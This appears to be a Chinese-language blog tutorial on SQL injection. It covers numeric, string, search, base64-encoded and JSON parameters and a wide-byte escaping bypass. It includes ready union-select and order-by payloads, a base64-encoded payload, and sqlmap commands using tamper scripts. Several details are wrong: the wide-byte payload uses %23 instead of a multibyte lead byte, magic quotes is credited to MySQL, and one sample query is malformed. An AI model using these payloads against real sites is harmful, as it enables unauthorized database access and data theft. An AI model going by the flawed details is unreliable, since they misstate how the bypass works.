赞
踩
当进行注入时 会发现有 数字型 字符型 搜索型 加密型(base64 json)等,其中构造payload的时候各个方式各不相同:
数字型,就是经常遇到的 ?id=1 这种类型。一般开发人员也不会对数字型进行闭合,可以直接后跟注入语句即可 ?id=1 and 1=2 union select database()--+
字符型,
常常就是option=news这种 需要传递的传输为字符串类型,这种接受字符串类型的参数,开发人员往往会对接受过来的字符使用双引号 单引号包裹起来。原sql语句可能是 select new from news where option=""$_GET['optin']" 这个时候传入的payload就要考虑闭合才可以
字符型
select * from inkbamboo where a='g' 假设这条语句为代码中查询的sql语句
simple' order by 16--+ 该语句是要进行注入的语句
select * from inkbamboo where a='simple' order by 16--+' 语句融合融合语句解释:'simple'被闭合了,order by 16进行了列数的查询,--+注释了后面的 ' ,这样就形成了注入
搜索型,
往往有搜索框的地方也是可能存在注入的,因为很多内容都是存储在数据库中,想要完成搜索,就需要与数据库进行数据交互,如果没有做到安全的过滤或其他的防护手段往往也是会存在SQL注入的。常规的搜索处后台SQL语句是
select value from test where value like "%$_GET['value']%" ,这个时候我们想要对其进行注入,就需要考虑到闭合双引号及通配符的问题了。
select * from inkbamboo where name like '%$s%' 假设这条语句为代码中查询的sql语句
%' UNION+ALL+SELECT+1,database,2,3,4,5 and '%'=' 该语句是要进行注入的语句
select * from inkbamboo where name like '%%' UNION+ALL+SELECT+1,database,2,3,4,5 and '%'='%' 语句融合
加密/编码型,
有时候会遇到 id=MQ==这种传输id值时,值为加密的base64或是其他,我们想要对其进行测试时,就需要将我们构造的payload进行base64加密后在进行测试
http://localhost:8080/blog/news.php?a=MQ== 假设这为某页面的url
1 union select 1,database(),3,4,5,7 注入语句
MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCw1LDc= base64编码
有时候会有 {"id":1}这种格式的参数传递时,我们注入就需要考虑到json的特殊格式。在进行构造payload
原理:下面是一个简单的json格式数据,当把数据取出来时,并不会取出双引号,而且取出来的值默认是以单引号包含的。所以在进行注入时需要考虑单引号闭合。
当我们测试的注入点是 base64加密,或者是对我们输入的 ' ' "" /等内容进行转义时
只需要我们在使用sqlmap时,加上对应的参数,启用相对的脚本绕过即可
如遇到base64加密的参数值想要对其进行注入时
python sqlmap.py -r 1.txt --tamper=base64encode.py 即可 sqlmap会自动对payload进行加密
宽字节绕过思路:
形成原因:有些判断自动给输入的特殊字符前增加 \ (如遇到对我们输入的 ' ' "" /转义时)
绕过它的方法就是 宽字节注入
如payload为 ?id=1 %23' union select database() --+ 这样才可以正常的让单引号发挥作用去闭合原本的sql语句中的单引号
python sqlmap.py -r 1.txt --tamper=unmagicquotes.py 启用这个脚本即可,就可以让sqlmap智能得在payload中加入宽字节等方法绕过转义函数。
启用对接受到的字符串进行转义的方法可以使用mysql的内置功能 magicquotes 或php的内置函数addslashes()。更多sqlmap的详细用法参考:1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)https://www.cnblogs.com/bmjoker/p/9326258.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。